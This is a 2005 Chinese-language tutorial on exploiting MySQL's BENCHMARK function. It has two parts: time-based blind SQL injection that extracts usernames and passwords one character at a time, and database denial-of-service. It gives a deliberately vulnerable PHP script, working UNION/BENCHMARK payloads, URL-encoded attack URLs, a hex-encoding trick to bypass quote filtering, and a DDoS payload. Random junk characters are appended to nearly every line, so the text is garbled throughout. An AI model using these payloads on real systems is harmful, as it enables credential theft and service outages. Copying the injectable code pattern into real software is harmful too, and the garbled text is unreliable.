MYSQL中BENCHMARK函数的利用 % Z. G1 i; e/ k( L
本文作者:SuperHei
, _+ O* f# d4 ^5 U文章性质:原创6 W5 z% a; j8 x/ l
发布日期:2005-01-02
h1 P( K+ J2 c7 a1 y0 C; g& |完成日期:2004-07-09
$ q( _9 r$ J) [0 {2 O2 y第一部
& N4 L+ c, O$ ?$ U5 w, b
" N7 u0 |6 F3 v" g4 t1 E. P利用时间推延进行注射---BENCHMARK函数在注射中的利用 5 ]& s$ a1 M6 a+ o8 ^
1 N6 y& j+ t5 r9 t8 g" [一.前言/思路
" @1 }) s2 _" c! _1 V) c9 k
9 p" a5 d5 ~9 Z2 S! K( L 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。0 L, C; n- `( g: X
& F, B4 |* V- ~2 l 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。+ L- b& P, ?0 b* D* i. a4 }
. i0 D$ {# u4 ~" O3 l
二.关于BENCHMARK函数& ^+ E2 W* u' U* x) k P
4 D' M& a3 n% V( N" ~' V' Y 在MySQL参考手册里可以看到如下描叙:
y7 L: L- B5 i' Y. K5 c' ^& ?8 e8 G3 t: _7 K+ {+ i8 j$ {; d
' Q3 O7 }5 Y8 S
--------------------------------------------------------------------------------
4 }5 q. g! f2 i& ]; P4 m: I Y3 Z8 K; A1 q* G4 a2 a$ P
BENCHMARK(count,expr) 7 q1 q1 l& G q# C
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 # Z7 \$ v7 ?3 x
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 0 s0 k# `2 S* g1 f
+----------------------------------------------+ ; S' R# C4 [ F5 Q# @
| BENCHMARK(1000000,encode("hello","goodbye")) | # t Y8 H+ I7 M; ]) ^& z
+----------------------------------------------+
; r9 Y( d/ r! M" r4 r- Z| 0 | * P3 `. \& \; }: N, b. s6 i
+----------------------------------------------+ 5 e; E( w: A8 E+ \
1 row in set (4.74 sec) ' b( `" v+ ?: w
; m( ^# _% L6 S: X& q
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。/ ~: S l5 i9 h6 B4 Z0 R
) z) O; M7 ]0 s: S, S0 T; P
" J" A- F; A) O! J. [& M
--------------------------------------------------------------------------------
|! S8 }% ^1 ?8 I$ e3 L2 b- I8 y- ]9 C/ ]9 s u5 X
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
, ~' D; Z. q0 E- ~7 k6 i+ F- l! l" f0 b
mysql> select md5( 'test' ); - u2 C. b9 c C" `
+----------------------------------+
; |6 f3 O# t1 L. F3 g, L( d, D| md5( 'test' ) | 9 K# V' p: e6 X" u9 S, K( t; m' f9 ?4 Z
+----------------------------------+ 4 ^( K. X5 T0 V5 }) w
| 098f6bcd4621d373cade4e832627b4f6 | - Q: b _1 ^: W" G) I
+----------------------------------+
/ |9 w- X% w9 B9 u1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
7 y1 Y5 y& q& v; ~# [* L" p: \9 U0 o9 N' B6 I' |+ ~0 Q
mysql> select benchmark( 500000, md5( 'test' ) );
2 q- [% d- G4 o8 G+ s& s+------------------------------------+ & o; G/ y7 A2 f! O H/ o
| benchmark( 500000, md5( 'test' ) ) | 0 V) W% H3 ^! E. c" W' i+ T
+------------------------------------+
' `9 {# B6 e! n- ?6 d% E| 0 | ' o) W8 a/ x) {/ D! H$ i1 v: n
+------------------------------------+
& V5 V2 W; n. S! G8 p9 i1 row in set (6.55 sec) 〈------------执行时间为6.55 sec3 @: B/ U' G. n! y9 }
! C0 _: d& t+ l( ~: g
/ b1 t& _5 u [ 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 2 E$ S# P) y* E- X& \0 |( r- }( o- v6 Z
v: c# o: b0 B: M& w& W三.具体例子
' {- @' I2 j" ?' C
$ }* b2 `. \/ S4 E- u4 \! C 首先我们看个简单的php代码:
0 J2 y& \* |5 o; ^" w: [0 D9 |- t7 Q% `2 D
< ?php
/ o- Q: \0 @* E# n: v8 ?! v$servername = "localhost"; : M, C) [: @. Q9 w1 Z! T* A
$dbusername = "root"; ) D# K" f& Q" x+ s! |% v- E
$dbpassword = "";
# n* n4 I v& e, O$dbname = "injection";
' g9 Y3 @/ r4 I- Q( M9 {* O
2 T# n% Y' u2 l, N( Kmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$ E$ x9 a; X3 n6 B
, l& o. `6 D' Z$sql = "SELECT * FROM article WHERE articleid=$id";
( E( v; \, G! q0 p7 ^( ?: z6 U$result = mysql_db_query($dbname,$sql);
! ]' `3 O p8 P" E8 E+ A* ~$row = mysql_fetch_array($result); , b* h; g0 b; ~, [& Z; @
0 w4 A7 U1 ^, @; }8 {- v/ uif (!$row)
0 ~2 ]+ U% {2 ~! X' J2 h) x{
2 o3 M& R- v; M+ Texit;
; F0 X) T* N; T. U; j4 g}
7 k% A4 L) z' D/ L0 B+ q! I3 K2 B7 _7 O?>- |9 E: r7 n" P8 I1 D
/ p) a; e; q6 \4 i+ R, _
) N# b$ X& j- G
数据库injection结构和内容如下:
8 Y- b, ~( N: q; m P
. e. `) h* e& U3 Q# a/ I" o# 数据库 : `injection` 7 `7 L8 h$ V0 e4 H5 h, D$ v7 M
#
' {3 ~) S0 e9 N: V$ x5 ^. ^2 a
2 n) x, j0 @1 ?% ^) X; |' B/ h# --------------------------------------------------------
% z# g/ t* o/ ?& P" n8 E- k' J/ H9 k# q6 b
#
$ Z. R6 Y8 }4 q4 m: z) u# 表的结构 `article` & d8 T" G @5 |
#
0 {$ Y; Q. u; \6 a- u! y# o4 ]2 ]' j- c7 t
CREATE TABLE `article` ( ! j+ A+ P/ v5 O: E( v: o5 Z# f
`articleid` int(11) NOT NULL auto_increment,
1 C* x! V( b) f$ ]7 r b; B! g8 B" Q`title` varchar(100) NOT NULL default '',
* |; {2 u. \, O8 f7 ^; \5 Y9 z`content` text NOT NULL,
. o6 ~) k2 G- ?$ OPRIMARY KEY (`articleid`) ! V$ J: c( H2 H, A- u6 _
) TYPE=MyISAM AUTO_INCREMENT=3 ;
, c# Z- W# `; @6 @, e) t& M7 \9 |) m3 n* W
#
) f2 k7 X) o. e3 x- H8 G1 l* d# 导出表中的数据 `article`
, Q9 I7 a+ ?- h1 T: d/ y# % \# W- }( E5 `$ ?0 J
: M5 w) K% D7 X7 q
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); - a# L' }6 Y& r( }; J1 J2 w
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
9 L0 p7 n0 h" U
! W! H" i9 b2 t# --------------------------------------------------------
! ^/ N$ J1 w5 h& ]% s7 g
4 y7 A3 |6 N; l! l+ s# % ~8 R% b8 m \) i) J8 Q, h$ z! v g, C
# 表的结构 `user` 6 a) o M3 I: M; |8 r6 d
# , l4 t g7 {- i0 b( u" ]2 S! Y0 C' o
1 {! p, h8 W* B4 w8 UCREATE TABLE `user` ( % s7 \* b1 M: G( b# R7 L/ \
`userid` int(11) NOT NULL auto_increment,
( M+ v3 p4 f+ b) [`username` varchar(20) NOT NULL default '',
( v% h0 |0 _, w2 k9 h c`password` varchar(20) NOT NULL default '',
: k7 A1 ~3 |+ R4 w( }PRIMARY KEY (`userid`)
+ ]3 N; c+ p. t' G1 ~' c( z) TYPE=MyISAM AUTO_INCREMENT=3 ;
6 C2 B1 X$ y- G9 b
4 V7 B/ _; d6 q/ i; h+ V1 O% q# ' L9 F _! A" h" ~3 }4 [* i
# 导出表中的数据 `user` 9 V2 t, g+ g. u- m, m( R7 ?
#
0 @5 \0 t( w0 C* C/ W- s
+ u) \3 i. L. [- b6 HINSERT INTO `user` VALUES (1, 'angel', 'mypass'); / W# _4 N& v" H6 j) l! z, ]& T
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');& I# O/ `" @. @& Y3 y
) a6 M1 Y$ x1 j
. F |4 }* g. _2 B1 t) K 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
, ?% j3 Q# w) Y3 {
1 t5 P5 d' R" P0 pid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*: n8 J, _: g* q# g' J R7 }4 o( o7 P
9 x0 l& H' Q o% y7 L4 T4 z
5 B9 Z' p3 J1 D, f& b 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:5 Y3 x9 O1 q% j( C7 j- Q, W$ o
7 ]( B: c2 g* G" _: L
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*1 s" O j' \3 s; g- U- S
' \3 ~7 T% O# w8 Q9 q2 R
6 j/ @7 M8 R0 f* o' @ 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
- K4 b! D% I9 k
' {+ v J0 m [ 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
, g6 E7 x- l0 M% m7 x& r
7 U6 n" _/ c/ `5 l; [2 i3 c6 T8 G第二部
; ] s; X+ R* y t' g5 H1 @4 Q
: v1 W o1 P. g E% b利用BENCHMARK函数进行ddos攻击
6 i/ h5 w* a# u# R6 B' Y: K$ @3 Z& _; g% _" {" y+ c1 K1 k
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
1 `2 h6 b. Q0 \) Z3 s4 y! y- p
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))7 G* P- b8 I$ j& s2 A4 T
% d& U- M( h( q+ [
, Z( a: @7 ^) D2 ]小结$ H: `* Y R$ j
# b* n2 \, X/ O& T
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。5 }3 R- z8 `; I6 B
9 Y/ E5 u* H# ]# b
8 V5 S8 _4 g! m z7 F2 j2 n |